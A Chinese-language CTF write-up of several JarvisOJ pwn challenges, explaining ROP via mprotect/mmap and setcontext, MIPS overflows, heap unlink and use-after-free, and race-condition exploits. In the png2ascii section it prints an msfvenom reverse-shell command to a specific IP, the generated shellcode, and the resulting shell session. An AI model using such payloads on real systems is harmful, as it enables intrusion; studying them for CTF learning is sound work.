这道题目开启了 NX 保护，并假设禁用了 system 和 execve 函数（实际并没有），因此可以考虑通过 mprotect 改变 .bss/.data 权限或者通过 mmap 申请一段具有可执行权限的空间写 shellcode 的方法来 get shell，重点介绍如何使用 mprotect。

第一次 rop 使用 write(1, elf.got[‘write’], rdx) leak 出 libc 基地址
第二次 rop 使用 mprotect(0x00600000, 0x1000, 7) 把 .bss 段设为有可执行权限
第三次 rop 通过 read(0, elf.bss() + 0x500, 0x100) 把 shellcode 读到 .bss 并返回到 shellcode

需要注意的是第一次 rop 时，与 level3 相似，调试可以发现 rdx 是大于 6的，因此可以不用通用 gadget 来设置 rdx；

但第二次使用 mprotect 时必须设置 rdx 寄存器，这时候我们已经 leak 除了 libc 基地址，因此可以使用 libc 中的 gadget 来设置 rdx，也不需要用通用 gadget。

并且 mprotect 指定的内存区必须包含整个内存页，区间长度必须是页大小的整数倍。

exploit here

mmap

mmap 可以申请一段空间，但麻烦在需要控制 6 个参数，对 64 位的程序而言，也就是需要找到能控制 rdi, rsi, rdx, rcx, r8, r9 的 gadget。

刚开始尝试了 _dl_runtime_resolve 中的 gadget，但实际调试的过程中发现因为版本不一致，这个 gadget 已经不能用了。后来找了很久这样的 gadget 但没找到，就放弃了。再后来偶然发现 angelboy 的 Pwngdb 的 magic 命令中有一个 setcontext+0x35，看一下具体是什么。

pwndbg> magic
========== function ==========
system:0x42510
execve:0xc4860
open:0xe7c20
read:0xe8050
write:0xe8120
gets:0x6ec20
setcontext+0x35:0x44f05			<== target
========== variables ==========
__malloc_hook(0x3b4c30)             : 0x00007ffff789c830
__free_hook(0x3b68e8)               : 0x0000000000000000
__realloc_hook(0x3b4c28)            : 0x00007ffff789d0b0
stdin(0x3b5850)                     : 0x00007ffff7bcea00
stdout(0x3b5848)                    : 0x00007ffff7bcf760
_IO_list_all(0x3b5660)              : 0x00007ffff7bcf680
__after_morecore_hook(0x3b68e0)     : 0x0000000000000000
pwndbg> libcbase 
libc : 0x7ffff781a000
pwndbg> x/20i 0x7ffff781a000+0x44f05
   0x7ffff785ef05 <setcontext+53>:	mov    rsp,QWORD PTR [rdi+0xa0]
   0x7ffff785ef0c <setcontext+60>:	mov    rbx,QWORD PTR [rdi+0x80]
   0x7ffff785ef13 <setcontext+67>:	mov    rbp,QWORD PTR [rdi+0x78]
   0x7ffff785ef17 <setcontext+71>:	mov    r12,QWORD PTR [rdi+0x48]
   0x7ffff785ef1b <setcontext+75>:	mov    r13,QWORD PTR [rdi+0x50]
   0x7ffff785ef1f <setcontext+79>:	mov    r14,QWORD PTR [rdi+0x58]
   0x7ffff785ef23 <setcontext+83>:	mov    r15,QWORD PTR [rdi+0x60]
   0x7ffff785ef27 <setcontext+87>:	mov    rcx,QWORD PTR [rdi+0xa8]
   0x7ffff785ef2e <setcontext+94>:	push   rcx
   0x7ffff785ef2f <setcontext+95>:	mov    rsi,QWORD PTR [rdi+0x70]
   0x7ffff785ef33 <setcontext+99>:	mov    rdx,QWORD PTR [rdi+0x88]
   0x7ffff785ef3a <setcontext+106>:	mov    rcx,QWORD PTR [rdi+0x98]
   0x7ffff785ef41 <setcontext+113>:	mov    r8,QWORD PTR [rdi+0x28]
   0x7ffff785ef45 <setcontext+117>:	mov    r9,QWORD PTR [rdi+0x30]
   0x7ffff785ef49 <setcontext+121>:	mov    rdi,QWORD PTR [rdi+0x68]
   0x7ffff785ef4d <setcontext+125>:	xor    eax,eax
   0x7ffff785ef4f <setcontext+127>:	ret    
   0x7ffff785ef50 <setcontext+128>:	mov    rcx,QWORD PTR [rip+0x36ef11]        # 0x7ffff7bcde68
   0x7ffff785ef57 <setcontext+135>:	neg    eax
   0x7ffff785ef59 <setcontext+137>:	mov    DWORD PTR fs:[rcx],eax

一段几乎能控制所有寄存器的 gadget ！前提是能控制 rdi，这个就很容易了，直接使用 pop rdi; ret 即可。

因此我的使用 mmap 的思路是：

第一次 rop 执行 write(1, elf.got['write'], rdx) 来 leak libc，然后返回 _start
第二次 rop
- 执行 read(0, elf.bss() + 0x300, 0x400)，把寄存器的值读取到 bss 段，方便后续控制
- 通过 pop rdi; ret 控制 rdi 指向 bss 段的地址
- 返回 setcontext+95 控制 6 个寄存器
- 返回 mmap，根据设置的寄存器申请出 rwx 的空间
- 返回 _start
第三次 rop 执行 read(0, 0x12345000, 0x400) 把 shellcode 读到 0x12345000(我 mmap 出的空间)，然后返回到该地址即可。

exploit here

Add (300)

一道 mips 的题目，环境的搭建同样可以参考我之前写过的一篇分析。而IDA 的 hexray 对 mips 没有太好的支持，可以使用 jeb-mips 或者 retdec 来反编译，但实际效果也只是能看，最准确的方法还是直接读汇编。

先看输入的部分，输入遇到 \n 才会停止，因此存在栈溢出

同时程序中有一处打印栈上输入地址的

loc_400B5C:
la      $t9, printf
la      $a0, aYourInputWasP  # "Your input was %p\n"
jalr    $t9 ; printf
move    $a1, input
lw      $gp, 0x98+var_88($sp)
move    $v1, input
b       loc_400984
li      $s2, 0x80

跳转过来的条件是 strcmp(input, s4) 相等

la      $t9, strcmp
move    $a0, input       # s1
jalr    $t9 ; strcmp
move    $a1, $s4         # s2
lw      $gp, 0x98+var_88($sp)
beqz    $v0, loc_400B5C
move    $a0, input       # s

再向上找 s4 是什么

la      $t9, srand
move    $at, $at
jalr    $t9 ; srand
li      $a0, 0x123456    # seed
lw      $gp, 0x98+var_88($sp)  # srand(0x123456)
addiu   $s4, $sp, 0x98+challenge
la      $t9, rand
move    $at, $at
jalr    $t9 ; rand
addiu   input, $sp, 0x98+buf
lw      $gp, 0x98+var_88($sp)
lui     $a1, 0x40
la      $t9, sprintf
la      $a1, aD          # "%d"
move    $a2, $v0
jalr    $t9 ; sprintf    # sprintf(s4, "%d", rand())
move    $a0, $s4         # s

大致流程是

1
2
3

srand(0x123456);
int tmp = rand();
sprintf(s4, "%d", tmp);

随机种子是固定的，也即是随机值固定，因此 s4 的值也就知道了，通过这个功能我们能得到栈上输入的地址，程序没有开 NX 保护，输入 shellcode，并返回到 shellcode 即可。

通过调试可以快速确定覆盖返回地址所需的偏移量。

exploit here

[61dctf]calc.exe (300)

这道题没开 NX 保护，很大概率就是使用 shellcode 来 get shell 了。这个题目主要麻烦在代码量太大，还是 strip 后的 binary，看起来很是费力。

但这种代码量大的题目一般漏洞都很明显（代码量又大漏洞又难找，那题还怎么做），仔细分析，程序中存在一个如下的结构体（不是完全正确，程序没有看完）

struct NODE
{
	char *name;
	char *type;
	void (*method)();
	int len;
}

所有的变量和函数以这种结构体的形式存储，其中有一个很敏感的函数指针，如果能控制函数指针，就能控制 eip 了。

再往下看，程序有一个 var 可以声明变量，命令格式为 var variable = "value"

    if ( !strcmp(s1, "var") )
    {
      argv1 = strtok(0, " ");
      argv2 = strtok(0, " ");
      if ( !argv2 )
        break;
      if ( argv2 && *argv2 == '=' )
      {
        argv3 = strtok(0, " ");
        if ( !argv3 )
        {
          puts("invalid syntax");
          break;
        }
        if ( *argv3 == '"' )
        {
          nptra = argv3 + 1;
          v26 = strchr(nptra, '"');
          if ( v26 )
          {
            *v26 = 0;
            v3 = set_str(argv1, nptra);
            store_into_list(g_list, argv1, (int)v3);
          }
        }

但 store_into_list() 函数寻址时是通过变量名之间的比较进行的，也即是即使 var add = "eval" 也是程序允许的，这样我们就可以控制函数指针了。因此直接把某个函数的 method 改成 shellcode 即可。

exploit here

Guess (300)

这个题目也更像一个逆向题，好在程序没有 strip，看起来比较清楚。

程序先建立了一个 socket，之后的输入输出均通过该 socket 进行。主要逻辑在 is_flag_correct 函数中，而漏洞也出在这里。

1
2

    value1 = bin_by_hex[flag_hex[2 * i]];
    value2 = bin_by_hex[flag_hex[2 * i + 1]];

这里使用了下标寻址的方法，flag_hex 是我们的输入，类型是 char *，通过构造负数就可以寻址到 bin_by_hex 上方

-0000000000000198 flag_hex        dq ?                    ; offset
-0000000000000190 given_flag      db 50 dup(?)
-000000000000015E                 db ? ; undefined
-000000000000015D                 db ? ; undefined
-000000000000015C                 db ? ; undefined
-000000000000015B                 db ? ; undefined
-000000000000015A                 db ? ; undefined
-0000000000000159                 db ? ; undefined
-0000000000000158                 db ? ; undefined
-0000000000000157                 db ? ; undefined
-0000000000000156                 db ? ; undefined
-0000000000000155                 db ? ; undefined
-0000000000000154                 db ? ; undefined
-0000000000000153                 db ? ; undefined
-0000000000000152                 db ? ; undefined
-0000000000000151                 db ? ; undefined
-0000000000000150 flag            db 50 dup(?)
-000000000000011E                 db ? ; undefined
-000000000000011D                 db ? ; undefined
-000000000000011C                 db ? ; undefined
-000000000000011B                 db ? ; undefined
-000000000000011A                 db ? ; undefined
-0000000000000119                 db ? ; undefined
-0000000000000118                 db ? ; undefined
-0000000000000117                 db ? ; undefined
-0000000000000116                 db ? ; undefined
-0000000000000115                 db ? ; undefined
-0000000000000114                 db ? ; undefined
-0000000000000113                 db ? ; undefined
-0000000000000112                 db ? ; undefined
-0000000000000111                 db ? ; undefined
-0000000000000110 bin_by_hex      db 256 dup(?)
-0000000000000010                 db ? ; undefined

而 flag 就在 bin_by_hex 上方，这样如果我们构造 value1 = 0, value2 = flag[i]，就可以覆盖 flag[i] 了，这样就可以通过逐位覆盖 flag，根据不同的回显来爆破了。

王一航师傅对这道题目做过很详细的分析，传送门

HTTP (350)

这道题目也更像一个逆向，没有 pwn 常见的溢出等漏洞，而是直接可以命令执行

__int64 __fastcall sub_40102F(const char *a1, char *a2, int a3)
{
  char *v3; // rbx
  int v5; // [rsp+Ch] [rbp-34h]
  FILE *stream; // [rsp+20h] [rbp-20h]
  int i; // [rsp+2Ch] [rbp-14h]

  v5 = a3;
  stream = popen(a1, "r");                      // rce
  if ( stream )
  {
    for ( i = 0; ; ++i )
    {
      v3 = &a2[i];
      *v3 = fgetc(stream);
      if ( *v3 == -1 || v5 - 1 <= i )
        break;
    }
    pclose(stream);
  }
  else
  {
    i = sprintf(a2, "error command line:%s \n", a1);
  }
  a2[i] = 0;
  return (unsigned int)i;
}

当然到这一步需要通过前边的各种验证

signed __int64 __fastcall sub_400FAF(__int64 a1)
{
  int v2; // [rsp+1Ch] [rbp-14h]
  const char *s; // [rsp+20h] [rbp-10h]
  int i; // [rsp+2Ch] [rbp-4h]

  s = encrypt(off_601CE8);
  v2 = strlen(s);
  for ( i = 0; i < v2; ++i )
  {
    if ( (i ^ *(char *)(i + a1)) != s[i] )
      return 0LL;
  }
  return 1LL;
}

encrypt 函数逆到一半发现都是固定值，直接可以把结果调试出来。按照题目的要求构造报文格式，就可以任意命令执行了。

但关键是执行什么命令，这道题目是通过 socket 进行通信的，因此直接 cat flag 不会有回显，可以通过管道将结果发送到远程 vps 上，在 vps 上监听到 flag，或者可以直接建立一个 reverse shell。

原理可以看我写的几篇分析 fd 的文章。

expoit here

Guestbook2 (400)

Guessbook2，[XMAN]level6，[XMAN]level6_x64 三道题目几乎一样，放到一块讲。

程序中存在如下的结构体

struct noteList
{
	int all;
	int now;
	struct NOTE notes[256];
}

struct NOTE
{
	int inuse;
	int len;
	char *content;
}

在 delete 函数中存在漏洞

void delPost()
{
  int idx; // [rsp+Ch] [rbp-4h]

  if ( POSTS->now <= 0 )
  {
    puts("No posts yet.");
  }
  else
  {
    printf("Post number: ");
    idx = getInt();
    if ( idx >= 0 && idx < POSTS->all )         // 2free
    {
      --POSTS->now;
      POSTS->block[idx].inuse = 0LL;
      POSTS->block[idx].len = 0LL;
      free(POSTS->block[idx].content);          // uaf
      puts("Done.");
    }
    else
    {
      puts("Invalid number!");
    }
  }
}

在 add 和 edit 函数中，新申请的堆块是经过 0x80 对其的，即只能申请 0x80，0x100,0x180 … 这样的堆块。

可以有如下的思路：

先 leak 堆的地址
根据 leak 出的堆的地址进行 unlink
unlink 后把 chunk_list 中的某一项改成 got（如atoi@got)，这样 show 就可以 leak libc，edit 就可以 hijack got
把 atoi@got 改成 system，然后发送 $0\0，sh\0 或 /bin/sh\0 即可 get shell

exploit here

[XMAN]level6 (350)

同上，只不过是 32 位的

[XMAN]level6_x64 (400)

同上

[61dctf]hsys (400)

这个程序也很大，要耐心看。程序中存在如下的结构体

struct HACKER
{
	int id;
	char name[40];
	char *something;
	int gender;
	int age;
}

程序给了 list, add, show, info, gender 和 exit 几个功能，通过看代码发现还有一个 del 的隐藏功能，只有 id 为 0 ，即为 admin 的时候才能触发。

      if ( !strcmp(command, "del") )
      {
        if ( IDX )
        {
          v26 = printf("You must be the system administrator to use del command\n");
        }
        else if ( args && strlen(args) )
        {
          if ( delete(args) == -1 )
          {
            v16 = args;
            v23 = printf("hacker `%s` not found in system\n", args);
          }
          else
          {
            v16 = args;
            v14 = printf("hacker `%s` deleted from system\n", args);
            IDX = -1;
            v24 = v14;
          }
        }
        else
        {
          v25 = printf("usage: del <hacker name>\n");
        }
      }

再看 add 的功能，算法渣表示楞了很久才反应过来到这是一个 hash 表 orz。

int __cdecl getIndex(const char *a1)
{
  struct HACKER *v1; // ST18_4
  int v3; // [esp+1Ch] [ebp-1Ch]
  signed int i; // [esp+20h] [ebp-18h]
  unsigned int v5; // [esp+24h] [ebp-14h]
  size_t len; // [esp+28h] [ebp-10h]

  len = strlen(a1);
  if ( len >= 0x28 )
    return -1;
  v5 = getIdxByName(a1);
  v3 = v5;
  for ( i = 0; i < 1338; ++i )
  {
    v3 = (v5 + i) % 1337;
    if ( !ptr[v3] )
      break;
    if ( !strcmp(ptr[(v5 + i) % 1337]->name, a1) )
      return (v5 + i) % 1337;
  }
  v1 = malloc(0x38u);
  v1->id = v3;
  memcpy(v1->name, a1, len);                    // leakable
  v1->name[39] = 0;
  v1->something = 0;
  ptr[v3] = v1;
  return v3;
}

其中 memcpy 不会在末尾加上 \0，因此是可以 leak 的，可以利用这个来 leak libc

打个小广告，找 main_arena 在 libc 中的偏移可以用我写的这个小工具

1
2
3

jarvisOJ_hsys [master●●] main_arena ./libc-2.19.so 
[+]__malloc_hook_offset : 0x1ab408
[+]main_arena_offset : 0x1ab420

继续看其他函数，发现在 show 中有一个很可疑的memcpy，有可能造成栈溢出

   else if ( !strcmp(command, "show") )
    {
      if ( IDX >= 0 )
      {
        format = "%d: Name: %s, Age %d, Gender: %s, Info: ";
        v42 = 128;
        v41 = "Male";
        v40 = "Female";
        s = &s;
        v38 = 0;
        memset(&s, 0, 0x80u);
        Name = ptr[IDX]->name;
        Age = ptr[IDX]->age;
        Gender = v41;
        if ( !LOBYTE(ptr[IDX]->gender) )
          Gender = v40;
        v17 = IDX;
        v37 = sprintf(s, format, IDX, Name, Age, Gender);
        v36 = cntIdx(IDX) + 8;
        if ( IDX )
        {
          v15 = ptr[IDX]->name;
          name_len = strlen(v15);
        }
        else
        {
          name_len = 5;                         // admin
        }
        v15 = ptr[IDX]->age;
        v34 = name_len + v36 + 6;
        v7 = cntIdx(v15);
        v8 = 4;
        if ( !LOBYTE(ptr[IDX]->gender) )
          v8 = 6;
        v63 = v8 + v7 + v34 + 10 + 8;
        n = 127 - v63;
        if ( ptr[IDX]->something )
        {
          v15 = ptr[IDX]->something;
          v10 = strlen(v15);
          if ( v10 > n )
          {
            s = &s;
            v13 = strlen(&s);
            memcpy(&s[v13], ptr[IDX]->something, n);	// overflow
            v72 = 46;
            v73 = 46;
            v74 = 46;
          }
          else
          {
            s = &s;
            v11 = strlen(&s);
            v15 = ptr[IDX]->something;
            v30 = &s[v11];
            v29 = v15;
            v12 = strlen(v15);
            memcpy(v30, v29, v12);
          }
        }
        else
        {
          s = &s;
          v9 = strlen(&s);
          v32 = strcpy(&s[v9], "N/A");
        }
        v27 = puts(&s);
      }
      else
      {
        v44 = printf("You must add a hacker first and then show information about him/her\n");
      }
    }

为什么会觉得 memcpy 可疑？
- 像之前说的，这种代码多的题目一般不会有很难找的漏洞，因此我着重看了 strcpy，memcpy 等危险函数，发现 memcpy 的长度在一定条件下是可以控制的

这样如果能控制 memcpy 的长度，就可以直接栈溢出来 rop 或者用 one_gadget 了。

至于怎么控制长度，我是完全参考了师傅的 writeup，直接给出 vertitas501 师傅的链接，就不在这里鹦鹉学舌了。

后来复习了一下哈希表的知识发现这个题目还是很好解决的，这种东西果然不用就会忘得一干二净= =

[61dctf]hiphop (400)

这个题目代码有点多，看了一遍下来是一个打怪兽的程序。逻辑如下：

用户选择技能(change skill)，如果不选择默认为 attack
使用技能，分两步进行：
1. 怪兽攻击，用户选择三种防御策略(iceshield, fireshield, windshield)，怪兽的攻击方式随机，如果用户使用了对应的防御策略则成功防御，不扣 hp，否则扣除用户相应 hp
2. 用户攻击，每种技能的伤害不同
用户每胜利一次怪兽都会升级一次，不同等级的怪兽有不同的初始 hp(64h, 3E8h, 0BB8h, 7FFFFFFFFFFFFFFEh)；当怪兽升级 3 次以上，用户胜利后即可 get flag

先看一下有没有什么比较特殊的技能，发现 fireball 和 icesword 两个技能会 sleep(1)，再联想到主函数是新开了一个进程处理逻辑的，想到了条件竞争；再仔细看，icesword 的伤害还是负的。

  if ( !strcmp(a1, &aAttack[32]) )
  {
    fireball((_QWORD *)a1 + 5);
    sleep(1u);                                  // sleep(1)
  }

  else if ( !strcmp(a1, &aAttack[192]) )
  {
    icesword((_QWORD *)a1 + 5);
    sleep(1u);                                  // sleep(1)
  }


void __fastcall icesword(_QWORD *a1)
{
  unsigned __int64 v1; // rbx
  unsigned __int64 v2; // rbx
  signed __int64 v3; // ST18_8

  v1 = (unsigned __int16)rand();
  v2 = (rand() << 16) & 0x8FFFFFFF | v1;
  v3 = v2 | ((signed __int64)rand() << 32) & 0xFFFF00000000LL;
  *a1 = 0xFFFFFFFFLL;
}

主函数中可以看出程序使用了 time(0) 当做随机数种子，也就是说随机数是可以预测的；再仔细观察，第四关时，怪兽的初始 hp 为 0x7FFFFFFFFFFFFFFE，只要 +2 就会造成整数溢出，满足判断胜负时怪兽 hp < 0 的判断。那么就有了以下的思路：

先利用能预测随机数的特点完美防御怪兽的攻击，直到第四关。
选择 fireball，然后 use skill，此时子进程会在设置伤害时 sleep(1)，但主进程还在继续运行，主进程继续 change skill 到 icesword，然后 use skill；这样既可以通过技能伤害不为负的验证，在攻击时又会取 icesword 的伤害导致怪兽的 hp + 1，连续两次造成整数溢出就可以跳到后门函数拿到 flag 了。

本地能稳定跳转到后门函数后，发现远程一直失败。用另一道题目的 shell 查看时间才发现虽然都是 UTC 时间，但相差了大概 25s，修改本地时间后终于拿到了 flag（UTC 时间不同步我还特意问了汪师傅，师傅告诉我确实需要预测时间差）

exploit here

Item Board (450)

这个题目存在如下的结构体

struct ItemStruct
{
  char *name;
  char *description;
  void (*free)(ItemStruct *);
};

释放结构体后没有把指针清零，存在并且 show 时只检查了下标

void __cdecl item_free(Item *item)
{
  free(item->name);
  free(item->description);
  free(item);
}

void __cdecl show_item()
{
  Item *item; // ST00_8
  Item *v1; // ST00_8
  int index; // [rsp+Ch] [rbp-4h]

  puts("Which item?");
  fflush(stdout);
  index = read_num();
  if ( index < items_cnt && item_array[index] )
  {
    item = item_array[(unsigned __int8)index];
    puts("Item Detail:");
    printf("Name:%s\n", item->name, item);
    printf("Description:%s\n", v1->description);
    fflush(stdout);
  }
  else
  {
    puts("Hacker!");
  }
}

因此可以先通过 unsorted bin 来 leak libc

1
2
3

jarvisOJ_ItemBoard [master●] main_arena ./libc-2.19.so
[+]__malloc_hook_offset : 0x3be740
[+]main_arena_offset : 0x3be760

然后通过 uaf 控制结构体里的函数指针，改成 system，那么在下一次 free 时，就相当于调用了 system(chunk)，只需要把 chunk 首部改成 $0; sh; /bin/sh; 等即可。

exploit here

png2ascii (450)

这是 defconCTF 20 Quals 的一道题目，mips 架构。程序是静态编译的，可以先用 rizzo 和 sig 恢复部分符号。通过搜索字符串可以定位到关键函数是从 0x401200 开始的。

测试后发现在 png2ascii 功能里存在栈溢出，漏洞发生在 read_n_until 时

.text:00401C4C                 addiu   $v0, $fp, 0x130+buf  # load buffer info $v0
.text:00401C50                 lw      $a0, 0x130+fd($fp)  # load socket descriptor into $a0
.text:00401C54                 move    $a1, $v0         # load buffer address into $a1
.text:00401C58                 li      $a2, 0x200       # load max size(0x200) into $a2
.text:00401C5C                 li      $a3, 0xA         # load delimiter into $a3
.text:00401C60                 la      $t9, read_n_until
.text:00401C64                 nop
.text:00401C68                 jalr    $t9 ; read_n_until  # call read_n_until
.text:00401C68                                          #
.text:00401C68                                          #
.text:00401C68                                          # stack overflow bug

可以输入 0x200 个字符，缓冲区却只有 0x108，如果是 x86 直接 rop 即可，但 mips 架构找不到太好的 gadget，最后参考了别人的 writeup 找了这么一段

.text:0040F968                 lw      $gp, 0x30+var_10($sp)
.text:0040F96C                 sw      $v0, 0x30+var_4($sp)
.text:0040F970                 lw      $a0, 0x30+var_30($sp)  # file descriptor
.text:0040F974                 lw      $a1, 0x30+var_2C($sp)  # destination buffer address
.text:0040F978                 lw      $a2, 0x30+var_28($sp)  # read size
.text:0040F97C                 li      $v0, 0xFA3       # read syscall
.text:0040F980                 syscall 0
.text:0040F984                 sw      $v0, 0x30+var_C($sp)
.text:0040F988                 sw      $a3, 0x30+var_8($sp)
.text:0040F98C                 lw      $a0, 0x30+var_4($sp)
.text:0040F990                 la      $t9, sub_4115FC
.text:0040F994                 nop
.text:0040F998                 jalr    $t9 ; sub_4115FC

这样有栈上的变量，看的不是很清楚，我们可以直接在调试的过程中查看这段 gadget

pwndbg> pdisass 0x40f968 10
 ► 0x40f968    lw     $gp, 0x20($sp)
   0x40f96c    sw     $v0, 0x2c($sp)
   0x40f970    lw     $a0, ($sp)
   0x40f974    lw     $a1, 4($sp)
   0x40f978    lw     $a2, 8($sp)
   0x40f97c    addiu  $v0, $zero, 0xfa3
   0x40f980    syscall 
   0x40f984    sw     $v0, 0x24($sp)
   0x40f988    sw     $a3, 0x28($sp)
   0x40f98c    lw     $a0, 0x2c($sp)
   0x40f990    lw     $t9, -0x7ccc($gp)
   0x40f994    nop    
   0x40f998    jalr   $t9

这样就看的很清楚了，可以控制 read 的三个参数和后边的任意跳转（佩服大佬找 gadget 的深厚功力，如果师傅们有什么好的找 gadget 的方法，请务必指教）

可以构造如下的 rop chain

+----------+
|0x0040F968|  <- ret addr
+----------+
|0x4       |  <- socket file descriptor ----+
+----------+                                |
|0x10000000|  <- read destination       ----+-> read(4, 0x10000000, 0x400)
+----------+                                |
|0x400     |  <- read size              ----+
+----------+                                 
|junk data |
+----------+
|......    |
+----------+
|......    |
+----------+
|junk data |
+----------+
|0x10007ccc|  <- set $gp
+----------+

此时的 rop 流程如下

返回到 0x40F968，即上边的 gadget 地址
lw $gp, 0x20($sp) -> gp = sp + 0x20 = 0x10007ccc
lw $a0, ($sp) -> a0 = sp = 4
lw $a1, 4($sp) -> a1 = sp + 4 = 0x10000000
lw $a2, 8($sp) -> a2 = sp + 8 = 0x400
syscall -> read(4, 0x10000000, 0x400)
lw $t9, -0x7ccc($gp) -> t9 = 0x100000000
jalr $t9 -> 跳转到 0x10000000

因此，我们只需要把一段 reverse shell 的 shellcode 读到 0x10000000 即可，我用 msf 生成了一段

root@58a35925ee88:/# msfvenom -a mipsle -p linux/mipsle/shell_reverse_tcp LHOST=123.207.141.87 LPORT=4445 -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 184 bytes
Final size of python file: 896 bytes
buf =  ""
buf += "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += "\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += "\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += "\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x11\x5d\x0e\x3c"
buf += "\x11\x5d\xce\x35\xe4\xff\xae\xaf\x8d\x57\x0e\x3c\x7b"
buf += "\xcf\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += "\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += "\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += "\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += "\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += "\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += "\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += "\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += "\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += "\x01\x01"

# 腾讯云的学生主机没什么东西，大佬们就不要搞了

然后就可以在 vps 上拿到 shell 了

ubuntu@VM-61-71-ubuntu:~$ nc -lvp 4445
Listening on [0.0.0.0] (family 0, port 4445)
Connection from [209.222.100.138] port 4445 [tcp/*] accepted (family 2, sport 39056)
ls
flag
pwn100
supervisord.log
supervisord.pid
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

exploit here

[61dctf]inst (500)

这是 Google CTF2017 的一道原题。

看一下程序的主要逻辑

void do_test()
{
  char *v0; // rbx
  char v1; // al
  unsigned __int64 v2; // r12
  unsigned __int64 buf; // [rsp+8h] [rbp-18h]

  v0 = (char *)alloc_page();
  *(_QWORD *)v0 = *(_QWORD *)template;
  *((_DWORD *)v0 + 2) = *((_DWORD *)template + 2);
  v1 = *((_BYTE *)template + 14);
  *((_WORD *)v0 + 6) = *((_WORD *)template + 6);
  v0[14] = v1;
  read_inst(v0 + 5);
  make_page_executable(v0);
  v2 = __rdtsc();
  ((void (__fastcall *)(char *))v0)(v0);
  buf = __rdtsc() - v2;
  if ( write(1, &buf, 8uLL) != 8 )
    exit(0);
  free_page(v0);
}

每次会申请一段空间，设置可执行权限，然后读 4 个字节到 template 中，最后执行 template，看一下 template

.rodata:0000000000000C00                 public template
.rodata:0000000000000C00 template        proc near               ; DATA XREF: do_test+15↑o
.rodata:0000000000000C00                 mov     ecx, 1000h
.rodata:0000000000000C05
.rodata:0000000000000C05 loc_C05:                                ; CODE XREF: template+C↓j
.rodata:0000000000000C05                 nop
.rodata:0000000000000C06                 nop
.rodata:0000000000000C07                 nop
.rodata:0000000000000C08                 nop
.rodata:0000000000000C09                 sub     ecx, 1
.rodata:0000000000000C0C                 jnz     short loc_C05
.rodata:0000000000000C0E                 retn
.rodata:0000000000000C0E template        endp

根据这段汇编的逻辑，我们每次的输入会被程序反复执行 1000 次，但可以用 ret 跳出这段循环。

如果能设置 rsp，使用 ret 就能控制程序的运行流程了。比如把 rsp 改成 rop chain 的开头或者 one_gadget。

调试可以发现在 do_test() 运行的过程中，r14， r15 两个寄存器是不变的，因此可以考虑用这两个寄存器保存一些值。以设置 rsp 为 one_gadget 为例，首先我们需要一个 libc 上的地址，并且距离 one_gadget 比较近，调试可以发现在 templete 开头时，rsp + 0x40 这个地方存储了 __libc_start_main + 231，这个地址距离 one_gadget 较近，先把这个地址保存到 r14 上

pwndbg> stack 10
00:0000│ rsp  0x7ffeb2d93408 —▸ 0x5641ea376b18 ◂— rdtsc
01:0008│      0x7ffeb2d93410 —▸ 0x7fcc316520e0 (_dl_fini) ◂— push   rbp
02:0010│      0x7ffeb2d93418 ◂— 0x0
... ↓
04:0020│      0x7ffeb2d93428 —▸ 0x5641ea3768c9 ◂— xor    ebp, ebp
05:0028│ rbp  0x7ffeb2d93430 —▸ 0x7ffeb2d93440 —▸ 0x5641ea376b60 ◂— push   r15
06:0030│      0x7ffeb2d93438 —▸ 0x5641ea3768c7 ◂— jmp    0x5641ea3768c0
07:0038│      0x7ffeb2d93440 —▸ 0x5641ea376b60 ◂— push   r15
08:0040│      0x7ffeb2d93448 —▸ 0x7fcc312aaa87 (__libc_start_main+231) ◂— mov    edi, eax
09:0048│      0x7ffeb2d93450 ◂— 0x0

通过 0x40 次循环可以把这个地址保存在 r14 上

>>> len(asm('mov r14, rsp;ret'))
4
>>> len(asm('inc r14'))
3
>>> len(asm('mov r14, [r14]; ret'))
4

然后再根据 libc 中的偏移是固定的，更改 r14 为 one_gadget 地址

    execsc(asm("add r14, {}".format(offset / 0x1000)))

    loop = offset - offset / 0x1000 * 0x1000
    print "loop for {:#x} times...".format(loop)
    pause()
    for i in xrange(loop):
        execsc(add_r14)

最后修改 rsp 即可

1
2

>>> len(asm('mov [rsp], r14'))
4

exploit here

[61dctf]xworks (500)

静态编译的程序，并且是 strip 后的，先用 rizzo 和 sig 恢复一下符号。

程序的逻辑很简单，漏洞也很明显，在 delete， show 和 edit 功能中均存在 uaf

void show_order()
{
  signed int idx; // [rsp+Ch] [rbp-4h]

  _libc_write(1LL, "Input the order index:", 22LL);
  idx = get_int();
  if ( idx >= 0 && idx <= 10 )
    _libc_write(1LL, chunk_list[idx], 31LL);    // uaf
  else
    _libc_write(1LL, "Error\n", 6LL);
}

void edit_order()
{
  signed int idx; // [rsp+Ch] [rbp-4h]

  _libc_write(1LL, "Input the order index:", 22LL);
  idx = get_int();
  if ( idx >= 0 && idx <= 10 )
    read(0LL, chunk_list[idx], 31LL);           // uaf
  else
    _libc_write(1LL, "Error\n", 6LL);
}

void delete_order()
{
  signed int idx; // [rsp+Ch] [rbp-4h]

  _libc_write(1LL, "Input the order index:", 22LL);
  idx = get_int();
  if ( idx >= 0 && idx <= 10 )
    j_free(chunk_list[idx]);                    // uaf
  else
    _libc_write(1LL, "Error\n", 6LL);
}

题目没有溢出的漏洞，难点在于如何利用这个 uaf。通过 free 两个fastbin 可以 leak 出堆的地址，然后在堆上伪造 chunk 的 meta data 可以造成 unlink，用 unlink 造成任意地址读写后，方法就比较多了。

